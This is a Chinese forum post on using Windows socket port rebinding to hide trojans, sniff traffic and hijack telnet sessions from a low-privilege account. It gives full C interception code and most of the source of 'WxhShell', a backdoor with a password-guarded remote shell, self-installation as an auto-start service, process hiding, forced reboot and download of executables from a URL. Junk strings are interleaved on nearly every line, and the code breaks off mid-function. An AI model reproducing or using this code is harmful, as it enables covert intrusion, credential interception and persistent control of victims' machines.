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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WV% KoM,%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +(<f(]bG  
*Zvw&y*  
  saddr.sin_family = AF_INET; _Dv^~e1c  
t&oNJq{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); l%IOdco#  
E5 dXu5+ye  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'K!kJ9oqe  
)>/c/ B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OwEz( pj@  
pqe tYu  
  这意味着什么?意味着可以进行如下的攻击: GB=q}@&8p  
e'`oisJU?q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N 4:'X6u;  
: ?V;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?-f>zx8O  
o6r4tpiR5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `#]\Wnp~y  
fS ~.K9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `4=b|N+b"  
$1v5*E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0v_8YsZ!`$  
g DhwJks  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ![ QQF|  
=bDG|:+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 = `^jz}  
jmFN*VIL  
  #include ,jn?s^X6Dj  
  #include >g[W@FhT'k  
  #include QJ>>&`{ ,  
  #include    *t_&im%E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =6sXZ"_Tw  
  int main() TU/J]'))C  
  { aPC!M4#  
  WORD wVersionRequested; Vo%d;>!G\;  
  DWORD ret; H@zk8]_P  
  WSADATA wsaData; @2mP  
  BOOL val; 9ZBF1sMg  
  SOCKADDR_IN saddr; g|P hNo  
  SOCKADDR_IN scaddr; "jHN#}  
  int err; 82X.  
  SOCKET s; Y8PT`7gd`  
  SOCKET sc; "|.(yN  
  int caddsize; ^6+x0[13  
  HANDLE mt; #jX>FXo  
  DWORD tid;   @I&"P:E0F;  
  wVersionRequested = MAKEWORD( 2, 2 ); &Yg/ 08*  
  err = WSAStartup( wVersionRequested, &wsaData ); %gaKnT(|r  
  if ( err != 0 ) { QP#Wfk(C  
  printf("error!WSAStartup failed!\n"); #-;BU{3*  
  return -1; ]c)SVn$6  
  } BGX@n#:  
  saddr.sin_family = AF_INET; h,x]  
   fDd!Mt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <IVz mzpL  
z7q2+;L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (5> ibe  
  saddr.sin_port = htons(23); o$O,#^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >-P0wowL  
  { GHy#D]Z  
  printf("error!socket failed!\n"); k 3 l  
  return -1; f[I c hCwX  
  } i.sq^]j  
  val = TRUE; guv@t&;t0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {<kG{i/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z(3"\ ^T  
  { 8|({ _Z  
  printf("error!setsockopt failed!\n"); vrzX%'  
  return -1; `xUPML-  
  } _ ^{Ep/ME=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f[b YjIX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N-gRfra+8L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6<Z: Xw  
E: GJ$I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $J6.a!5IE  
  { .jp]S4~  
  ret=GetLastError(); \#aVu^`eX  
  printf("error!bind failed!\n"); 9$&e~^&B  
  return -1; ~t={ \,X\  
  } F"xO0t  
  listen(s,2); ~-5@- V  
  while(1) iIE(zw)H  
  { <^U(ya  
  caddsize = sizeof(scaddr); _sVs6AJ  
  //接受连接请求 $]kg_l)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 86#mmm)  
  if(sc!=INVALID_SOCKET)  2JP?6N  
  { U[b;#Y1X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _m],(J=,z  
  if(mt==NULL) bSf(DSqx  
  { Zjg\jo  
  printf("Thread Creat Failed!\n"); sg{D ?zl  
  break; |L;psK  
  } \'Ta8  
  } [+g@@\X4  
  CloseHandle(mt); <(4#4=ivP  
  } ,SF.@^o@a  
  closesocket(s); 6#M0AG  
  WSACleanup(); |QLX..  
  return 0; aMQjoamz  
  }   / w M  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~lqGnNhh 7  
  { U@MP&sdL  
  SOCKET ss = (SOCKET)lpParam; 5lnSa+_/f  
  SOCKET sc; ulf/C%t,R  
  unsigned char buf[4096]; iIaT1i4t.  
  SOCKADDR_IN saddr; 9T2A)a]0  
  long num; _-]!;0E IV  
  DWORD val; *W12Rb2  
  DWORD ret; #}dVaXY)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v Q"s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `8;,&<U'`  
  saddr.sin_family = AF_INET; ~AanU1U<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cTd;p>:>m  
  saddr.sin_port = htons(23); V wVQ|UH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cmhN(==  
  { eJw="  
  printf("error!socket failed!\n"); {|Ki^8h/p  
  return -1; (YHvGGr  
  } GWhAjL/N  
  val = 100; [Cj}nld   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >}b6J7_  
  { IzdTXc f  
  ret = GetLastError(); ,|X+/|gm  
  return -1; 3g [j%`k  
  } p*`SGX  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t*d >eK`:N  
  { GrR0RwnH)?  
  ret = GetLastError(); .^lb LN^2  
  return -1; ie@`S&.8 T  
  } *fi;ZUPW3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P%sO(_PuT  
  { NOr <,  
  printf("error!socket connect failed!\n"); }{xN`pZ  
  closesocket(sc); <;cE/W}}  
  closesocket(ss); =HY1l}\  
  return -1; @f{_=~+  
  } rEyz|k:  
  while(1) ,LW+7yD  
  { /%YiZ#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E0 eQ9BXh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]1d,O^S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iv:/g|MBI&  
  num = recv(ss,buf,4096,0); /J.\p/%\  
  if(num>0) rS )b1nPA  
  send(sc,buf,num,0); F`0c?)  
  else if(num==0) Y/,$Y]%g  
  break; b"M`@';+  
  num = recv(sc,buf,4096,0); nS+FX& _  
  if(num>0) *Z`XG_s5  
  send(ss,buf,num,0); Ah>gC!F^  
  else if(num==0) o}MzqKfu  
  break; J+b!6t}mZn  
  } KO"Jg-6r|  
  closesocket(ss); Pc)VK>.fc  
  closesocket(sc); U2V^T'Y[  
  return 0 ; .L7Yf+yFg  
  } /^LH  
0UGiPH,()  
d"I28PIS"  
========================================================== TcD[Teu  
FU\/JF.j  
下边附上一个代码,,WXhSHELL LR3`=Z9  
~#"7,rQp  
========================================================== aLKMDiT  
sr+gD*@h  
#include "stdafx.h" #_?TIY:h  
dGsS<@G  
#include <stdio.h> 3G%wZ,)C  
#include <string.h> gf3U#L}P  
#include <windows.h> V+O0k: o  
#include <winsock2.h> K2xH'v O(  
#include <winsvc.h> =0h|yjnL/  
#include <urlmon.h> 2K]IlsMO&  
>AQ) x  
#pragma comment (lib, "Ws2_32.lib") (@ fa~?v>@  
#pragma comment (lib, "urlmon.lib") `M?v!]o  
e)HhnN@  
#define MAX_USER   100 // 最大客户端连接数 1t~FW-:  
#define BUF_SOCK   200 // sock buffer Y  .  
#define KEY_BUFF   255 // 输入 buffer {b'}:aMc  
hG3m7ht  
#define REBOOT     0   // 重启 ^E$(1><-a  
#define SHUTDOWN   1   // 关机 goDV2 alC^  
SbS$(Gt#Bv  
#define DEF_PORT   5000 // 监听端口 u3Usq=Ij{  
+_ *eu  
#define REG_LEN     16   // 注册表键长度 QSHJmk 6L  
#define SVC_LEN     80   // NT服务名长度 V)0[`zJ  
'7Mep ]  
// 从dll定义API t/KcXM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <E>7>ZL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5=Kq@[(4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C}mYt/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <rX \LwR  
=6cyE  
// wxhshell配置信息 *$i;o3  
struct WSCFG { HKTeqH_:  
  int ws_port;         // 监听端口 7q%|4Z-~  
  char ws_passstr[REG_LEN]; // 口令 ^^7L"je]g  
  int ws_autoins;       // 安装标记, 1=yes 0=no s~=KhP~  
  char ws_regname[REG_LEN]; // 注册表键名 qr)v'aC3  
  char ws_svcname[REG_LEN]; // 服务名 =[]x\&@t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1l/AKI(!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 URYZV8=B~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q.=^i z&m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &|Lh38s@$#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #puQi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ih>a~U<  
Z+Yeg  
}; k SB  
+ a-wv  
// default Wxhshell configuration #K=b%;>  
struct WSCFG wscfg={DEF_PORT, N;-/wip  
    "xuhuanlingzhe", 59{;VY81  
    1, >u=%Lz"J  
    "Wxhshell", -7>^ rR V  
    "Wxhshell", `"a? a5]k  
            "WxhShell Service", 1.'(nKoq  
    "Wrsky Windows CmdShell Service", |DN^NhtE  
    "Please Input Your Password: ", AL>c:K)qO  
  1, R'6@n#:  
  "http://www.wrsky.com/wxhshell.exe", gtD   
  "Wxhshell.exe" i@P 9EU  
    }; <7=&DpjI7F  
TC qkm^xv  
// 消息定义模块 O( VxMO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }@Xh xZu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gjW\ XY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,*/Pg 52?  
char *msg_ws_ext="\n\rExit."; ]SFWt/<  
char *msg_ws_end="\n\rQuit."; pw@`}cM=  
char *msg_ws_boot="\n\rReboot..."; a9[mZVMgUK  
char *msg_ws_poff="\n\rShutdown..."; i=oTg  
char *msg_ws_down="\n\rSave to "; OmB TA=E<  
,H>W:O  
char *msg_ws_err="\n\rErr!"; XZ.7c{B<  
char *msg_ws_ok="\n\rOK!"; O\6vVM[  
B!eK!B  
char ExeFile[MAX_PATH]; h`=r )D  
int nUser = 0; oZgHSRRL  
HANDLE handles[MAX_USER]; ?4^} ;wDb2  
int OsIsNt; ,09DBxQq,  
'gCJ[ce  
SERVICE_STATUS       serviceStatus; gs?8Wzh90*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4~!Eje!  
LU%#mY  
// 函数声明 O?CdAnhQc`  
int Install(void); d] U`?A,  
int Uninstall(void); YWEYHr;%^?  
int DownloadFile(char *sURL, SOCKET wsh); .>}BNy  
int Boot(int flag); 0HqPyM13Q  
void HideProc(void); $=/rGpAk  
int GetOsVer(void); P{?;T5ap6  
int Wxhshell(SOCKET wsl); G'u|Q mb1  
void TalkWithClient(void *cs); C 8N%X2R  
int CmdShell(SOCKET sock); @B?FE\  
int StartFromService(void); 9I85EcT^4"  
int StartWxhshell(LPSTR lpCmdLine); ton1oq  
%NNj9Bl<VV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wb b*nL|P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kP@H G<~  
IXnb]q.  
// 数据结构和表定义 rn;<HT  
SERVICE_TABLE_ENTRY DispatchTable[] = /iplU  
{ +jUgx;u,  
{wscfg.ws_svcname, NTServiceMain}, wh%xkXa[ur  
{NULL, NULL} lr,q{;  
}; tZbFvk2  
6,X+1EXY  
// 自我安装 C,fY.CeI  
int Install(void) Pb#P`L7OB  
{ FH.f- ZU  
  char svExeFile[MAX_PATH]; 1I ""X]I_  
  HKEY key; g0PT8]8  
  strcpy(svExeFile,ExeFile); }`9jH:q-Z  
?ty>}.c t  
// 如果是win9x系统,修改注册表设为自启动 >z(wf>2J  
if(!OsIsNt) { 'r\ 4}Ik  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %,0%NjK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OVZP x%a  
  RegCloseKey(key); S#tY@h@XV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k)cP! %z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6hO-H&r++  
  RegCloseKey(key); *Ddi(`  
  return 0; [ 7g><  
    } \/ErPi=g  
  } eIH$"f;L  
} e?b)p5g  
else { 5Q W}nRCZ  
ZWS2q4/S  
// 如果是NT以上系统,安装为系统服务 t8P PE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _g~2R#2Q  
if (schSCManager!=0) :|rPT)yT]  
{ )n>+m|IqY(  
  SC_HANDLE schService = CreateService YlTaN,?j  
  ( 7\Co`J>p2  
  schSCManager, ,[* ;UR  
  wscfg.ws_svcname, Jd_;@(Eg=  
  wscfg.ws_svcdisp, ,!Q]q^{C:W  
  SERVICE_ALL_ACCESS, Huc|6~X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )hBE11,PB  
  SERVICE_AUTO_START, A (okv  
  SERVICE_ERROR_NORMAL, c+g@Z"es  
  svExeFile, Br!9x {q*  
  NULL, k2r3dO@q  
  NULL,  S(  
  NULL, !J3UqS  
  NULL, E$A3|rjnoN  
  NULL ~Wei|,w'<  
  ); lj4o#^lC  
  if (schService!=0) .1#kD M  
  { l(!/Q|Q|  
  CloseServiceHandle(schService); E"6X|I n  
  CloseServiceHandle(schSCManager); ! \sMR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wksl0:BL  
  strcat(svExeFile,wscfg.ws_svcname); :QPf~\w?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 19W:-Om  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  lq>AGw  
  RegCloseKey(key); H;Ku w  
  return 0; t0Mx!p'T  
    } ^AL2H'  
  } X:|8vS+0gU  
  CloseServiceHandle(schSCManager); bWmw3w  
} j/KO|iNL2  
} 'RbQj}@x  
* ?]~ #  
return 1; =^tA_AxVw  
} iX"C/L|JN  
 U>a\j2I  
// 自我卸载 Jxa4hM0  
int Uninstall(void) Hr^3`@}#1  
{ g9~]s 9  
  HKEY key; r|eZv<6  
@kxel`,$e  
if(!OsIsNt) { IeP WOpj3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u5+|Su  
  RegDeleteValue(key,wscfg.ws_regname); *2e!M^K<  
  RegCloseKey(key); w!&~??&=}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QI_4*  
  RegDeleteValue(key,wscfg.ws_regname); iOCqE 5d3  
  RegCloseKey(key); ]PR#W_&q  
  return 0; vUesV%9hq  
  } R#W&ery  
} ~b)74M/  
} /?*]lH.  
else { $n!K6fkX%  
cBXWfv4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G8J*Wnwu[K  
if (schSCManager!=0) [0y$! f4  
{ {<=#*qx[Y!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); />44]A<  
  if (schService!=0) @7 <uMasfp  
  { (Un_!)  
  if(DeleteService(schService)!=0) { k|xtr&1N.!  
  CloseServiceHandle(schService); F(,UA+$A  
  CloseServiceHandle(schSCManager); Iz@)!3h  
  return 0; Fmr}o(q1  
  } yN6>VD{F  
  CloseServiceHandle(schService); e<cM[6H'D  
  } !.TLW  
  CloseServiceHandle(schSCManager); +>\id~c(  
} MTOy8 Im  
} 1:M@&1L Yp  
2%u;$pj  
return 1; g(|{')8?d  
} T~4N+fK  
&(N+.T5cp  
// 从指定url下载文件 {Ui =b+  
int DownloadFile(char *sURL, SOCKET wsh) D5,P)[  
{ j+-P :xvP  
  HRESULT hr; >znRyQ~bM  
char seps[]= "/"; -E4XIn  
char *token; Sa1 l=^  
char *file; iyta;dw9  
char myURL[MAX_PATH]; $F'>yop2b  
char myFILE[MAX_PATH]; DA&?e~L&H  
Np+&t}  
strcpy(myURL,sURL); hr GH}CU"  
  token=strtok(myURL,seps); @]aOyb@  
  while(token!=NULL) "vZ!vt#'Y  
  { Qnd5X`jF#  
    file=token; TuDE@ gq(  
  token=strtok(NULL,seps); D BE4&  
  } ^Yj xeNY  
$%R$ G`.KM  
GetCurrentDirectory(MAX_PATH,myFILE); &<RpWAk{  
strcat(myFILE, "\\"); ~m^ #FJu  
strcat(myFILE, file); Xx:F)A8O  
  send(wsh,myFILE,strlen(myFILE),0); {gbn/{  
send(wsh,"...",3,0); L;Z0`mdz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Bu2,EL*O  
  if(hr==S_OK) d5 7i)=  
return 0; <FI-zca  
else ma'FRt  
return 1; !V 2/A1?  
MY#   
} B=8Iu5m  
GVHV =E  
// 系统电源模块 ^z6_Uw[  
int Boot(int flag) >K9#3 4hP  
{ 4;`oUt'.  
  HANDLE hToken; V'*~L\;pU  
  TOKEN_PRIVILEGES tkp; !`41q=r  
l>*"mh  
  if(OsIsNt) { y\dEk:\)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %\|'%/"`2(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o6 E!IX+  
    tkp.PrivilegeCount = 1; R218(8S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B/~%h|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &`0/CV  
if(flag==REBOOT) { YW u cvw&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4lhw3,5  
  return 0; @Z>ZiU,^  
} I$N8tn+E  
else { t58e(dgi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Rh6r}f  
  return 0; r}[7x]sP  
} J:&[ 59  
  } WOuEWw=  
  else { ] e. JNo  
if(flag==REBOOT) { ^uv<6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mKo C.J  
  return 0; [ i#zP  
} >SPh2[f  
else { oF(Lji?m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;JZS^Wa  
  return 0; y E[#ze  
} r'QnX;99T  
} 7$h#OV*@,  
V,rq0xW  
return 1; 3gd&i  
} oy<WsbnS  
8JmFi  
// win9x进程隐藏模块 <! )**  
void HideProc(void) Hx ,0zS%>  
{ }!IL]0 q  
]Oq[gBL"A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .9Y)AtJTS  
  if ( hKernel != NULL ) y ]?V~%  
  { 5j~$Mj`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .tD*2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o,|[GhtHqs  
    FreeLibrary(hKernel); [JF150zr  
  } ?-^~f  
OS8q( 2z?s  
return; (?nCy HC%g  
} _h}kp\sps  
`ZC<W]WYX/  
// 获取操作系统版本 y!!2WHvE  
int GetOsVer(void) L:@7tc.  
{ +\v?d&.f0  
  OSVERSIONINFO winfo; Q7W>qe%4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GnvL'ESa@M  
  GetVersionEx(&winfo); bw\@W{a%q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O)vp~@ |  
  return 1; lRXK\xIP ,  
  else zc[Si bT  
  return 0; LD!Q8"  
} GvBHd%Ot  
6? w0  
// 客户端句柄模块 `r?7oxN  
int Wxhshell(SOCKET wsl) K4kMM*D  
{ ,G)r=$XU  
  SOCKET wsh; T#>7ub  
  struct sockaddr_in client; o"*AtGR+"  
  DWORD myID; 812$`5l  
t.;LnrY  
  while(nUser<MAX_USER) ~?(N  
{ r?/'!!4  
  int nSize=sizeof(client); Fi0GknQ+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EAM5{Nc  
  if(wsh==INVALID_SOCKET) return 1; I'LnI*  
1')%`~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t<#h$}=:Vt  
if(handles[nUser]==0) b9!FC$^J  
  closesocket(wsh); WYr/oRO  
else )rC6*eR  
  nUser++; r(P(Rj2~  
  } lv04g} W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @Z12CrJ  
 P Y  
  return 0; t2)rUWg  
} ^jx7@LgS=  
O&Y*pOg  
// 关闭 socket pej|!oX  
void CloseIt(SOCKET wsh) 4T ~}  
{ ml+; Rmvb  
closesocket(wsh); % yw?s0  
nUser--;  a24"yT  
ExitThread(0); sfNE68I2  
} !4X f~P  
I"ok&^t^}  
// 客户端请求句柄 }|pwz   
void TalkWithClient(void *cs) R#I0|;q4|p  
{ 1]p ZrBh"E  
:>C2gS@  
  SOCKET wsh=(SOCKET)cs; P(f0R8BE  
  char pwd[SVC_LEN]; NGbG4-w-  
  char cmd[KEY_BUFF]; H5Io{B%=  
char chr[1]; y2^Y/)   
int i,j; <P=twT;P  
qHrc9fB  
  while (nUser < MAX_USER) { +8RgF   
VcXq?f>\  
if(wscfg.ws_passstr) { ()6wvu}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >7QvK3S4%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =Lf,?"S  
  //ZeroMemory(pwd,KEY_BUFF); 6 |PrX L&  
      i=0; eLfk\kk]Pc  
  while(i<SVC_LEN) { XMxSQ B1  
H<PtAYFS  
  // 设置超时 0|{u{w@!`  
  fd_set FdRead;  @fl-3q  
  struct timeval TimeOut; ~ Q.7VDz  
  FD_ZERO(&FdRead); xwq+j "  
  FD_SET(wsh,&FdRead); Q|#W#LV,K  
  TimeOut.tv_sec=8; q!|*oUW  
  TimeOut.tv_usec=0; $}!p+$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zN^n]N_?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?B2] -+Y  
Gz,i~XX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {?:X8&Sf  
  pwd=chr[0]; 4b98Ks Yg  
  if(chr[0]==0xd || chr[0]==0xa) { $\X[@E S0  
  pwd=0; s T}. v*  
  break; 0.8  2kl  
  } }&w Ur>=  
  i++; ^c9t'V`IWQ  
    } CEX " D`  
+JjW_Rl?=V  
  // 如果是非法用户,关闭 socket n[lJLm^(_C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^\4h<M  
} {y=j?lD  
iO|se:LY<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i OW#>66d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ab{ K<:l  
W04@!_) <  
while(1) { 2AT5  
H|3:6x  
  ZeroMemory(cmd,KEY_BUFF); Uq^#riq  
2N: ,Q8~  
      // 自动支持客户端 telnet标准   [YlKR'_  
  j=0; [XEkz#{  
  while(j<KEY_BUFF) { ;DFSzbF`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sn obT Q  
  cmd[j]=chr[0]; 0jy2H2  
  if(chr[0]==0xa || chr[0]==0xd) { H4:`6 PSL  
  cmd[j]=0; I ?gSG*m  
  break; )u[emv$  
  } f4 P8Oz  
  j++; oX30VfT  
    } F\KjEl0  
|$8~?7Jv  
  // 下载文件 %4et&zRC  
  if(strstr(cmd,"http://")) { }$SavB#SBP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E8$20Ue  
  if(DownloadFile(cmd,wsh)) D$ dfNiCH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6jE |  
  else 1OCeN%4]Qk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }wr{W:j  
  } Ve}(s?hU5  
  else { f$e[u E r  
[ 9 {*94M  
    switch(cmd[0]) { CZud& <  
  xS4w5i2  
  // 帮助 sFT.Oxg<  
  case '?': { de.&`lPRf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $PTP/^  
    break; 3er nTD*`  
  } g!@<n1 L  
  // 安装 DS+}UO  
  case 'i': { -]/I73!b  
    if(Install()) 0m%|U'm|j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6& e3Nt  
    else *X'Y$x>f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mn, =i  
    break; *6sl   
    } dgR g>)V  
  // 卸载 v- T$:cL  
  case 'r': { =mS\i663  
    if(Uninstall()) ML w7}[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ixb=L (V  
    else ~ELNyI11  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^o^H3m  
    break; PDJr<E?  
    } c`J.Tm[_u  
  // 显示 wxhshell 所在路径 )Xk0VDNp$/  
  case 'p': { HG^B#yX  
    char svExeFile[MAX_PATH]; W5EDVP ur  
    strcpy(svExeFile,"\n\r"); fol,xMc&  
      strcat(svExeFile,ExeFile); !}YAdZJ  
        send(wsh,svExeFile,strlen(svExeFile),0); +o\:d1y  
    break; ]NUl9t*N4  
    } QQ%D8$k"  
  // 重启 |jI#"LbF  
  case 'b': { '8Q]C*Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bc+w+  
    if(Boot(REBOOT)) rM`X?>iT+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iq8Grd L"  
    else { `IP/d  
    closesocket(wsh); +ln9c  
    ExitThread(0); ^V?<K.F  
    } }SX,^|eN  
    break; OVm\  
    } X &uTSgN  
  // 关机 AJh w  
  case 'd': { 1n=lqn/  
